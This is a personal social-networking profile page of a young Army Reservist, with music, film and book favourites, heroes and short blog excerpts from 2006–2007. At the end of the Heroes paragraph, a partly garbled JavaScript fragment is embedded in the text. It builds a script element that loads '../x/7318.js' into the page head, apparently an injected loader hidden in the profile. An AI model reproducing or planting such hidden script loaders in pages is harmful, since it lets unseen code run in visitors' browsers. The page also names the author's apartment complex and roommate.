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Am I meant to follow? what is it to lead?

"Subterfuge and cunning are often better allies than a fierce heart and a strong back..."

About Me

I'm 21 years old. I live in Apple Valley in an apartment complex called "The Kingston Greens." I live with Anthony Darst. I enjoy talkin' to people from all over, and enjoy making new friends. Feel free to leave me a message or something. I also enjoy feedback. I'm a 25B in the Army Reserves. I just quit my security job at the MSP Airport account. I just picked up a job as a host at Eagan's Bakers Square, but I promise I'll be a server shortly. I also work as a Geek Squad Counter Intelligence Agent at Best Buy in Apple Valley. Sean --
[noun]:

A level headed person who always makes the wrong decision

My Interests

Well I'm a huge computer enthusiest. I love math and computer science. I've always been interested in computer IT security. My friends and family are No.1 on my list. Without them, I wouldn't be the person I am today. I love music, because it's practially my life. I live my life through music. My music depicts my mood. I listen to a lot of Christian Rock.

I'd like to meet:

Just about anyone. I'm not too picky when it comes to friends.

Music:

January's Artist of the Month: Pillar
January's Song of the Month: Spoken - Learning to Forget
February's Artist of the Month: Skillet
February's SONG of the Month: Skillet - Looking For Angels
March's Artist of the Month: Blindside
March's SONG of the Month: Blindside - When I Remember
April's Artist of the Month: Story of the Year
April's SONG of the Month: Story of the Year - Dive Right In
May's Artist of the Month: Kutless
May's SONG of the Month: Something Coroporate - Konstantine
June's Artist of the Month: Rise Against
June's SONG of the Month: Rise Against - Prayer of the Refugee

Just about anything except for hardcore rap. I'm a huge christian rock fan and bands include Blindside, Disciple, Spoken, Day of Fire, Building 429, Michael W. Smith, Relient K, Pillar, Thousand Foot Krutch, Skillet and of course, RUNWAY 36 which ROCKS THE HOUSE at C3D!

Movies:

Final Fantasy VII: Advent Children. The Matrix (all of them) as well as the Frank Herbert's Dune series. My movie list also contains many movies on hackers. lol I've always been interested in that. Hackers, AntiTrust, Italian Job, Freedom Downtime... all great movies/documentaries. I love action and drama, a little sci-fi, but I'm not a huge fan of Comedy movies. And by the way... I think Monty Python sucks!

Television:

I don't really watch a whole lot of T.V. I guess my favorite shows would be CSI and Numbers. And not any of those new CSI shows... one was enough, and the others just aren't as good. I also frequently watch Jerhico with my mother. And I've taken a FAST liking to the 24 series, as I own all five and am waiting for the 6th season to come out. Also, I watch LOST in spare time.

Books:

I love reading information books. I read "Art of Deception," and "Art of Intrusion," both books by Kevin D. Mitnick. The Art of Manipulation, a safecracking book. Great man. lol Books on programming, computer security, and information systems. I also enjoy reading Tom Clancy books, and modern war books like Mark Bowden's Black Hawk Down... the book was better the movie. Digital Fortress, Act Of War, Edge of battle... Also Inside Delta Force, by Eric Haney. Ambler Warning, but the ending was very upsetting...

Heroes:

Jesus Christ! That man died so I could live in this world the way I do. And of course, Tyler. Tyler's always been there for me. He's an amazing friend. Jenn, who's talked to me for countless hours about everything and nothing all at once. And, of course, all my friends.And my grandfather, Dale Strobel, who will be missed. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

Broken Road

Time, moves slowly while you're gone I haven't heard your voice in quite some time But I still see your face I cannot erase the things you've done And all the ways you kept me hangin' on Now your gon...
Posted by Specialist Collins on Thu, 23 Aug 2007 07:53:00 PST

My Weekly Update e-mail

21 AUG 2007Hello everyone.    Well... I made it here.  And this first week has been quite boring.  We have basically ran through SRP (Soldier Readiness Processing) all over ag...
Posted by Specialist Collins on Wed, 22 Aug 2007 01:06:00 PST

The approaching curve... A reminder to me...

The music blared with a calming frequency. The speakers gently seeped the sound of ambient keyboards and light percussion, creating a seductive soundtrack to our midnight drive through curtains of bl...
Posted by Specialist Collins on Fri, 15 Jun 2007 10:50:00 PST

Best advice ever... even if the person was drunk...

[00:43] : yea I got a haircut so you don't have to worry about that anymore [00:44] : u rule bro. I am drunk right now but I have some serious advice (if one can give serious advice while drunk) stop....
Posted by Specialist Collins on Mon, 04 Jun 2007 08:06:00 PST

Home

I'm home, bitches.  HAHAHAHAHA Someone call me! ~Sean
Posted by Specialist Collins on Sat, 29 Jul 2006 07:05:00 PST

Song of the day: "Hurt" by Thousand Foot Krutch

Drop the ball, watch it fall far below Suck you in, hold your breath The undertow creeps in slow Everyone owns a gun deep inside It's just a matter of how much you let it slide Drop the ball, watch it...
Posted by Specialist Collins on Sat, 15 Jul 2006 08:57:00 PST

Ironic, maybe...

So many things going through my mind.  And I'm so ready to leave.  I just... want to come home.  Fuck this place.  And all it's bullshit that they put me through.  I don't wan...
Posted by Specialist Collins on Thu, 29 Jun 2006 07:15:00 PST

Hmm... I guess I'll throw a few things on here.

I find it strange that I honestly can't be happier... But yet I'm still upset. I think it's just because I'm currently away from home. I feel like I'm missing out on everything that the people I ...
Posted by Specialist Collins on Mon, 12 Jun 2006 04:40:00 PST

I'm good, man... I'm good.

Damn you, Jon... for bringing me here and getting drunk.  But I'm good.  I love all you guys. Take care. ~Sean
Posted by Specialist Collins on Sat, 10 Jun 2006 11:34:00 PST

Drunk...

I'm pretty much drunk right now...  but what's really funny is that I can type correrctretly.  I think I spent that wrong.  oH well.  I'm good, man... Have a good night ,everyone.&...
Posted by Specialist Collins on Sat, 03 Jun 2006 07:40:00 PST